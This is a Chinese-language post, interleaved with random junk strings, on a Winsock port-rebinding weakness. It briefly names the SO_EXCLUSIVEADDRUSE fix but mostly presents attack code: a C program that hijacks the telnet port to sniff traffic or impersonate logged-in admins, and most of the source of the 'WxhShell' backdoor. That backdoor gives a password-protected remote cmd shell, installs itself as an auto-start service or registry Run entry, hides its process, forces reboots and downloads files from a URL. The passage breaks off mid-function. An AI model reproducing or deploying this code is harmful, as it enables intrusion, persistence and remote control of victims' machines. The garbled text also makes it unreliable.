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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <Lle1=qQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }V+&o\4 M7gqoJM'Q saddr.sin_family = AF_INET; m}m|(;T {X\FS saddr.sin_addr.s_addr = htonl(INADDR_ANY); %CrpUx 61b<6r0o bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'Te'wh=Y |L)qH"Eo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kgX"I ?>d ?`SBGN; 这意味着什么?意味着可以进行如下的攻击: y0t-e x}7Xd P.2$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0w$1Yx~C aTLr%D:Ka 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %A@U7gqc %8"Aq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i?F~]8 y= 1(o3( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,ce$y4%( 7ws[Rp8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;p(Doy)i {RH)&k&% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fz$^CMw5K W$R@Klz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {f>e~o
Ys%d #include x1`Jlzrp, #include Wc/B_F?2 #include Dd,]Y}P #include [4}U*\/>C DWORD WINAPI ClientThread(LPVOID lpParam); .18MMzdN int main() ];Bk|xJ/> { qS[nf>" WORD wVersionRequested; kPp7;U2A DWORD ret; 6)3pnhG9 WSADATA wsaData; Xu[A,6 BOOL val; o l+*Oe SOCKADDR_IN saddr; SM`n:{N( SOCKADDR_IN scaddr; .ffb*gZ4 int err; W%}zwQ SOCKET s; YR~)07 SOCKET sc; _ Av_jw`m int caddsize; 4p(\2?B%f HANDLE mt; u,Cf4H*xS DWORD tid; *2I@_b6& wVersionRequested = MAKEWORD( 2, 2 ); /3 ;t
&] err = WSAStartup( wVersionRequested, &wsaData ); SDW!9jm>R if ( err != 0 ) { @(e/Y/ printf("error!WSAStartup failed!\n"); TP)}1@ return -1; lLL) S } yKOC1( ~ saddr.sin_family = AF_INET; j1$s^ -9 2o`L^^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qnv)\M1 nA#dXckoc saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :\G`}_db' saddr.sin_port = htons(23); xR5zm%\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y)+lU { -IG@v0_w printf("error!socket failed!\n"); H*EN199 return -1; c0:`+>p2 } ,y*|f0&"~ val = TRUE; $[*<e~? //SO_REUSEADDR选项就是可以实现端口重绑定的 DqBiBH[%h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J?bx<$C@ { CF@j]I@{
printf("error!setsockopt failed!\n"); 8}!WJ2[R return -1; hdH}4W } /.[78:G\, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hW-?j&yJ? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]hi5nA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j |ZhGerp JE/Kf< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (wZ/I(4 { S8)6@ECC ret=GetLastError(); Jm*wlN
[> printf("error!bind failed!\n"); rTtxmw0 return -1; B["C~aF } 2G BE=T listen(s,2); .OSFLY#[? while(1) .0'FW!;FV { &^^V*O caddsize = sizeof(scaddr); O/PO?>@-/ //接受连接请求 6^"Spf] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `-82u :" if(sc!=INVALID_SOCKET) J0x)NnWJ { Meo.
V|1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p u6@X7W" if(mt==NULL) pK@8= + {
i}r|Zo printf("Thread Creat Failed!\n"); ORo,.#< break; (<xl _L:*. } xr1,D5 } TKZ[H$Z CloseHandle(mt); W(,3j{d2i } _T.k/a closesocket(s); z[0B"f WSACleanup(); OS$^>1f" return 0; phqmr5s^H } QlK]2r9 DWORD WINAPI ClientThread(LPVOID lpParam) 5?1:RE(1 { &`Ek-b!7 SOCKET ss = (SOCKET)lpParam; FkY <I]F SOCKET sc; X_2pC|C unsigned char buf[4096]; ) i=.x+Q SOCKADDR_IN saddr; ,FDRU long num;
MON]rj7 DWORD val; )TzQ8YpO} DWORD ret; 6ly`lu9 //如果是隐藏端口应用的话,可以在此处加一些判断 n]fMl:77 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 wj<fi saddr.sin_family = AF_INET; w>h\643 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ni-@El99 saddr.sin_port = htons(23); g.T:72" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4|Ay;}X \ { #8qhl printf("error!socket failed!\n"); U/9_: return -1; 8a3h)R } E8]kd val = 100; k?;B1D8-n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g!DJW { YzVhNJWpw ret = GetLastError(); ![j?/376 return -1; ;30SnR/ } nb_$g@ 03 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VQwF9Iq]` { b,uudtlH ret = GetLastError(); EN;s
8sC! return -1; G#nZ%qQ:I } ~X!Z+Vg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _mc-CZ { ~Y/o9x0 printf("error!socket connect failed!\n"); 0*yD
closesocket(sc); b.|k j closesocket(ss); Lv m"!! return -1; )uu1AbT+e } P:&X1MC while(1) = 4 wf { ?Es(pwJB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YML]pNB //如果是嗅探内容的话,可以再此处进行内容分析和记录 bfXyuv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uJ
T^=Y num = recv(ss,buf,4096,0); ! N'HL-oT if(num>0) |Q?^B a send(sc,buf,num,0); XDohfa_ else if(num==0) }ej>uZVe< break; &hu>yH>j num = recv(sc,buf,4096,0); ~kFL[Asnaf if(num>0) !\5w<*p8 send(ss,buf,num,0);
liU8OXBl else if(num==0) &OsO _F break; <sli!rv } F(KsB5OY? closesocket(ss); w?:tce closesocket(sc); @A'@%Zv- return 0 ; 'M!M$<j } Lz{z~xNHW. aI;-NnC h5<eU;Rw+ ========================================================== G4]( !f!Kv K*S3{s%UR 下边附上一个代码,,WXhSHELL #g= z}w7X6&e ========================================================== #pcgfVl W`v$-o- #include "stdafx.h" )k.}>0K | 5XoM) #include <stdio.h> 5y8VA4L/o #include <string.h> c*.-mS~Z` #include <windows.h> @L$!hTaP #include <winsock2.h> yQ0:M/r;0 #include <winsvc.h> G&
m~W #include <urlmon.h> je85G`{DC ?kdan #pragma comment (lib, "Ws2_32.lib") <.".,Na(J0 #pragma comment (lib, "urlmon.lib") i936+[ &&g02>gE #define MAX_USER 100 // 最大客户端连接数 f~ wgMp.W0 #define BUF_SOCK 200 // sock buffer r4m z #define KEY_BUFF 255 // 输入 buffer \zKO5,qw &P7Z_&34Z #define REBOOT 0 // 重启 -nXlW #define SHUTDOWN 1 // 关机 }Xvm(
; DS=$*
Trk #define DEF_PORT 5000 // 监听端口 `vZX"+BAh Y'C1L4d #define REG_LEN 16 // 注册表键长度 =;"=o5g_ #define SVC_LEN 80 // NT服务名长度 lhC hk7l PdtL
Cgd // 从dll定义API -}_1f[b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $C{,`{= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ee<i8_Va typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LU/;`In typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MXiQWg$ F1meftK // wxhshell配置信息 N "}N>xe2 struct WSCFG { Ej8g/{ int ws_port; // 监听端口 _\na9T~g char ws_passstr[REG_LEN]; // 口令 F?^L^N^ int ws_autoins; // 安装标记, 1=yes 0=no $*|M+ofQ char ws_regname[REG_LEN]; // 注册表键名 cj9C6Y! char ws_svcname[REG_LEN]; // 服务名 m!5Edo-;< char ws_svcdisp[SVC_LEN]; // 服务显示名 u}b%-:- char ws_svcdesc[SVC_LEN]; // 服务描述信息 gxx#<=` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Qs%bq{t int ws_downexe; // 下载执行标记, 1=yes 0=no LcZ|A;it char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" J$5Vjh'aM char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =f!clhO #q4uS~ }; df!i}L ^t:dcY7 // default Wxhshell configuration 2RQ-L struct WSCFG wscfg={DEF_PORT, PV:J>!] "xuhuanlingzhe", >n^780S| 1, T*nP-b "Wxhshell", zz
/4 ()u "Wxhshell", 3)yL#hXg) "WxhShell Service", xHMFYt+0$G "Wrsky Windows CmdShell Service", |kP utB "Please Input Your Password: ", u"4B5D 1, PD&gC88 " http://www.wrsky.com/wxhshell.exe", hH HQmK<r
"Wxhshell.exe" bf|ePGW? }; )+R n[MMp @S=9@3m{w; // 消息定义模块 K`2(Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yM~bUmSg char *msg_ws_prompt="\n\r? for help\n\r#>"; FWA?mde char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]IE Z?+F, char *msg_ws_ext="\n\rExit."; <z\ `Ma char *msg_ws_end="\n\rQuit."; rtfRA< char *msg_ws_boot="\n\rReboot..."; kg
8Dn char *msg_ws_poff="\n\rShutdown..."; BM'!odRv char *msg_ws_down="\n\rSave to "; 2?SbkU/3|P hGkJ$QT char *msg_ws_err="\n\rErr!"; kRc+OsY9 char *msg_ws_ok="\n\rOK!"; xx(C$wCJ =J4|"z: char ExeFile[MAX_PATH]; 1X&.po int nUser = 0; fbU3-L? HANDLE handles[MAX_USER]; lLDZ#'&An int OsIsNt; ] |nW R3;%eyu SERVICE_STATUS serviceStatus; *= ?|n SERVICE_STATUS_HANDLE hServiceStatusHandle; 15hqoo9! Fj(GyPFG // 函数声明 px"H int Install(void); X\/M(byn int Uninstall(void); #-@uLc int DownloadFile(char *sURL, SOCKET wsh); bMxK @$G~ int Boot(int flag); |-G2 pu; void HideProc(void); 4e Y?#8 int GetOsVer(void); !nCq8~# int Wxhshell(SOCKET wsl); 1"L"LU' void TalkWithClient(void *cs); !~yBzH;K int CmdShell(SOCKET sock); U3N9O.VC int StartFromService(void); n{i,`oQ" int StartWxhshell(LPSTR lpCmdLine); *67K_<bp] fjVy;qJ32S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g(WP VOID WINAPI NTServiceHandler( DWORD fdwControl ); //_H_ue$ 4A6Yl6\Y // 数据结构和表定义 r:;.?f@ SERVICE_TABLE_ENTRY DispatchTable[] = F,{mF2U*$ { KVJ,
a {wscfg.ws_svcname, NTServiceMain}, (Xcy/QT {NULL, NULL} ? ep#s$i }; i5t6$|u:&m f+Sb>$ // 自我安装 RGE(# int Install(void) {X&lgj { p*&0d@'r char svExeFile[MAX_PATH]; ?UZt30|1 HKEY key; ?)y^ [9 strcpy(svExeFile,ExeFile); +)iMJ]> z8'1R6nq // 如果是win9x系统,修改注册表设为自启动 M{Z
;7n' if(!OsIsNt) { `}$o<CJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %KXiB6<4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {VL@U$'oI RegCloseKey(key); pX
^^0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o[T+/Ej& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !6T"J!F# RegCloseKey(key); ~?AEtl#&" return 0; C=/B\G/.9 } J+J,W5t^ } #uw&u6*\q } *L$2M?xkY else { U8w_C\Q E5d$n*A // 如果是NT以上系统,安装为系统服务 *q*3SP/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Sgf jm if (schSCManager!=0) +t+<?M B { :q]9F4im SC_HANDLE schService = CreateService r8Mx+r ( fq]PKLW' schSCManager, .mt%8GM wscfg.ws_svcname, |zYOCDFf wscfg.ws_svcdisp, {K]5[bMT SERVICE_ALL_ACCESS, {O^u^a\m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |4Q*4s SERVICE_AUTO_START, 9)ALJd,M SERVICE_ERROR_NORMAL, ds(?:zx# svExeFile, ]~KLdgru_ NULL, _XV%}Xb' NULL, GWnIy6TH l NULL, jdP)y]c NULL, LdV&G/G-#D NULL t>I.1AS ); iqQT ^
if (schService!=0) G
@..?> { $/++afim CloseServiceHandle(schService); _`|1B$@x CloseServiceHandle(schSCManager); '6#G$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (~=.[Y strcat(svExeFile,wscfg.ws_svcname); d9#Vq=H / if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xzm]v9k& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z%%O-1 RegCloseKey(key); !hBpon return 0; jO-?t9^ } ?m
|}}a } a /sj W CloseServiceHandle(schSCManager); //q(v,D%Q } vxOqo)yO } gBm'9|? _\ToA9 m return 1; sjr,)|#[ } ;uUFgDi :8A+2ra& // 自我卸载 Ey&H?OFiP int Uninstall(void) elOeXYO0 { G%<}TI1} HKEY key; Nr~$i% [ ,#A(I#wL~ if(!OsIsNt) { Ymk?@mV4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gt9$hB7 RegDeleteValue(key,wscfg.ws_regname); \k.`xG? RegCloseKey(key); ?Z7`TnG$uf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r~t`H*C)} RegDeleteValue(key,wscfg.ws_regname); }02`ve* RegCloseKey(key); jwDlz.sW! return 0; @ _Ey"k< } }}AIpYp,P } ,c p2Fac } I&;>(@K else { .f\LzZ-I: ~[g(@Xt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 21uK&nVf^l if (schSCManager!=0) ~s!Q0G^G { )'_[R@ThB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b(H{i}{] if (schService!=0) /4:bx#;A { q$Gs;gz^( if(DeleteService(schService)!=0) { B0fOAP1 CloseServiceHandle(schService); MtLWpi u@[ CloseServiceHandle(schSCManager); ]gk1q{Ql< return 0; ze+YQF } RP4/:sO CloseServiceHandle(schService); yB b%#GW } /`*{57/3 CloseServiceHandle(schSCManager); =}^NyLE? } ,XD"
p1(|G } N:1aDr; Kg[OUBv return 1; 'wND } %tCv-aX4 RgJ@J/p" // 从指定url下载文件 Ys"wG B> int DownloadFile(char *sURL, SOCKET wsh) /{i~CGc;" { _4ag-'5 HRESULT hr; F "@% 7xy char seps[]= "/"; x84!/n^z char *token; <$~lFV char *file; [{znwK@ char myURL[MAX_PATH]; iNO>'7s7 char myFILE[MAX_PATH]; V]=22Cxi'~ LW %AZkAx strcpy(myURL,sURL); :QE5 7. token=strtok(myURL,seps); +\/Q while(token!=NULL) |VBt:dd< { Yh":>~k?SY file=token; {ZJO5* token=strtok(NULL,seps); m|a9T#B( } =kjKK >rSjP1-F GetCurrentDirectory(MAX_PATH,myFILE); (o^tmH* strcat(myFILE, "\\"); "HMEoZ strcat(myFILE, file); {keZ_2 send(wsh,myFILE,strlen(myFILE),0); 1|bXIY.J* send(wsh,"...",3,0); +#}GmUwPG$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d>NGCe if(hr==S_OK) 7FB?t<x return 0; B VBn.ut else ]P4WfV
d return 1; R=D]:u<P Njq}M/{U } o-,."|6 vwCQvt // 系统电源模块 rPV
Q#iB int Boot(int flag) (I[_}l { 615Ya<3f8 HANDLE hToken; ,6)N. TOKEN_PRIVILEGES tkp; ks405 xEb>6+-F@ if(OsIsNt) { #8$?#
dT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y"Cf84E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @=-(H<0 tkp.PrivilegeCount = 1; P"YdB|I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YW}$e W* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9^gYy&+>6] if(flag==REBOOT) { ewDYu=`* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -^_m(@A<~ return 0; iHa?b2=) } =u.@W98, K else { XlmX3RU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~#-?V[ return 0; nzq
} L*@`i ]jl } 3Cf9'C else { t^s&1#iC if(flag==REBOOT) { &i#$ia r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _y@28t return 0; -IPo/?} } <r%K i`u(p else { +;N]34>S7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q@D7\<t return 0; VtBC~?2U)B } YIQD9 } yx-{PjX xc^@" return 1; asWk]jjMG } "<,lqIqA; N5Js.j>z // win9x进程隐藏模块 _&gi4)q void HideProc(void) z7K{ ,y { *ap,r&]#F (q)}`1d' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7]=&Q4e4 if ( hKernel != NULL ) #'L<7t
K { i8iT}^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z
3BwbH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z@*E=B1L FreeLibrary(hKernel); Kv_2=]H } `Os=cMR
bI):-2&s} return; qmS9*me
{ } i:lc]B 0PzSp ] // 获取操作系统版本 qu=~\t1[6 int GetOsVer(void) Jo? LPR
\6 { ^q7V%{54 OSVERSIONINFO winfo; p`tz*ewC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %~rEJB@{ GetVersionEx(&winfo); *x36;6~W; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Llfl I return 1; \)PB p else v{u3[c
return 0; Z8v\>@?5R } c&['T+X ]'.qRTz'\t // 客户端句柄模块 \CB^9-V3 int Wxhshell(SOCKET wsl) !np_B0` { |t,sK aL SOCKET wsh; $BqiC!~ struct sockaddr_in client; ,Py\Cp=Dw DWORD myID; Sd+5Uf` qv!(In>u while(nUser<MAX_USER) K#3^GB3P {
:1' int nSize=sizeof(client); L+t
/
E` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]U?nYppV if(wsh==INVALID_SOCKET) return 1; }$ y.qqG *zrT;jG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m&)/>'W if(handles[nUser]==0) rH}|~ closesocket(wsh); $LP(\T([ else _i=*0Q nUser++; eI8o#4nT } * #yF`_p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K\xz|Gq V@'Xj .ze return 0; l@`k:? } d i\.*7l? [(X~C*VdxM // 关闭 socket gtKih void CloseIt(SOCKET wsh) D*l(p5[ { y?sz&*: closesocket(wsh); ZCCCuB nUser--; dc$zW^i ExitThread(0); Y3~Uz#`SU } r=j?0k '}] 5ibr1zs // 客户端请求句柄 Yy~x`P'g! void TalkWithClient(void *cs) e$LC { 9Po>laT
5 8mX!mYO3c SOCKET wsh=(SOCKET)cs; ~d*Q{v~3 char pwd[SVC_LEN]; AD;m[u7 char cmd[KEY_BUFF]; {_7hX`p char chr[1]; ,xwiJfG;
] int i,j; #X(2 1P)K@j while (nUser < MAX_USER) { [Rj4=qq= VL#:oyWA if(wscfg.ws_passstr) { z,Xj$wl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I:dUHN+@L5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #}Qe{4L //ZeroMemory(pwd,KEY_BUFF); /_{-~0Z=@B i=0; T;u;r@R/ while(i<SVC_LEN) { P@y)K!{Nk l;M,=ctB( // 设置超时 Zma;An6 fd_set FdRead; C(>!?-. struct timeval TimeOut; [8u9q.IZ FD_ZERO(&FdRead); @!;A^<{ka FD_SET(wsh,&FdRead); PqspoH
0OI TimeOut.tv_sec=8; rtPo)#t TimeOut.tv_usec=0; )xp3
ElH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /qdv zv%T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FH</[7f;@N yLRe'5#m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0>[]Da} pwd =chr[0]; :k9T`Aa] if(chr[0]==0xd || chr[0]==0xa) { <?41-p-; pwd=0; +G;<D@gSa0 break; h-p}Qil, } J;sQvPHV8 i++; 7 [e-3 } NSVE3 " ILF!z // 如果是非法用户,关闭 socket Y`gO:d8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 65Z}Hf } gX" 5Q"yn2b4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bI.hG32 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nw+t!C Sr+hB>{ while(1) { =1 Plu5 C\{A|'l!x ZeroMemory(cmd,KEY_BUFF); m9h<)D '> =2q#- ,t // 自动支持客户端 telnet标准 S6bW
r0XR j=0; rL<N:@HL while(j<KEY_BUFF) { CUDA<Fm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q:_:E*o cmd[j]=chr[0]; Aa-5k3:x]= if(chr[0]==0xa || chr[0]==0xd) { jd]L}%ax cmd[j]=0; }a OBQsnO break; i59}6u_f } -|x7<$Hw j++; -.Wwo(4 } drpx"d[c IAA_Ft // 下载文件 F]RPM(!5O) if(strstr(cmd,"http://")) { tk0m[HN@eV send(wsh,msg_ws_down,strlen(msg_ws_down),0); >QDyG8* if(DownloadFile(cmd,wsh)) IFW(nB( send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@JMf)a] else Zzlt^#KLx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =lv( } :TVo2Zm[@ else { rvx2{1}I ^/%o
I;O{ switch(cmd[0]) { =nHkFi@D=t #@nPB. // 帮助 Uhu?G0>O case '?': { &%v*%{|j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i`YZ;L L break; |Ja5O } qo:Zc`t(R // 安装 {^
BZ#)m| case 'i': { zEjl@Kf if(Install()) */~|IbZ`o send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G&[P8hzB else 'h ? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /@Jg [na break; ^G qO>1U } xqdkc^b // 卸载 ?Kmz urG case 'r': { NI/'SMj% if(Uninstall()) @Y,t] send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Crl{Ax else ((?"2 }1r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /?BTET break; IUAe6 } !C4)P3k // 显示 wxhshell 所在路径 .WeSU0XG case 'p': { Q@p'nE, char svExeFile[MAX_PATH]; p v4#`.m strcpy(svExeFile,"\n\r"); 7E*0;sA# strcat(svExeFile,ExeFile); "z6p=B"?3 send(wsh,svExeFile,strlen(svExeFile),0); r}Vr_ break; dm[JDVv| } {Mo[C% // 重启 uD{^1c3x case 'b': { QP"5A7=m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -^np"Jk if(Boot(REBOOT)) UQ hD8Z'I. send(wsh,msg_ws_err,strlen(msg_ws_err),0); b4$g$() else { 1A93ol=
closesocket(wsh); MF$Dx| Tcj ExitThread(0); 'oGMr=gp<& } 7aRy])x break; ;Ym6ey0t } Za,o // 关机 0(C[][a*u case 'd': { (g dzgLHy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UQI!/6F if(Boot(SHUTDOWN)) /: -ig .YY send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;
p+C0!B2 else { \k$cg~ closesocket(wsh); e Vj 8u ExitThread(0); o7gZc/?n } .$f0!`
t break; 8\)4waz$ } 3Zz_wr6 // 获取shell sw$JY}Q8x case 's': { H[R6 ?H@$F CmdShell(wsh); dtQ3iuV % closesocket(wsh); 'e>'JZR ExitThread(0); )MV `'i break; 79Aa~ +i'_ } Oo!]{[}7 // 退出 kQ[23 case 'x': { 6."|m+D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R4D$)D CloseIt(wsh); XThU+s9 break; ?!tO'}? } lh\`9F: // 离开 uI)z4Z case 'q': { +CQIm!Sp send(wsh,msg_ws_end,strlen(msg_ws_end),0); g5nL7;`N closesocket(wsh); Vs>e"czfm/ WSACleanup(); EE9eG31|r exit(1); ?+c-m+;wj break; 3nq4Y' }
3"HEXJMc } # b3 14 } ieO w& FIJ]` // 提示信息 (h&=Na~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )
[)1 } SQ/}K8uZ } G{+zKs}~ 5:~ zlg return; n>o=RQ2 } _Fkb$NJ"]Q us#ji i.< // shell模块句柄 |o_
N$70 int CmdShell(SOCKET sock) -Lsl { 3D,tnn+J STARTUPINFO si; YEiw! ZeroMemory(&si,sizeof(si)); Ch=jt*0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +nYF9z2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3cH^
,F PROCESS_INFORMATION ProcessInfo; 5uM`4xkj char cmdline[]="cmd"; vQ5rhRG)E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e{Mkwi+j return 0; 5 yL"=3&+ } t,5AoK/NL9 `j6O // 自身启动模式 k
c L
+ int StartFromService(void) sEa| 2$ { JWQd6JQ_~V typedef struct %zjyZ{= { t4zKI~cO
DWORD ExitStatus; PTF|"^k+
DWORD PebBaseAddress; [L2N[vy; DWORD AffinityMask; f 0/q{* DWORD BasePriority; _k)EqPYu@ ULONG UniqueProcessId; }o=s"0 a ULONG InheritedFromUniqueProcessId; BS?rKtdm( } PROCESS_BASIC_INFORMATION; Jk`0yJi$q %pxHGO=)E PROCNTQSIP NtQueryInformationProcess; GSGaYq aqP"Y9l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s8*Q@0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aO
*][;0 7$kTeKiP HANDLE hProcess; 'V4B{n7h PROCESS_BASIC_INFORMATION pbi; qwuA[QkPi No'Th7=|S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xy^z_` if(NULL == hInst ) return 0; wA";N=i= xqj@T^y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e1H2w?
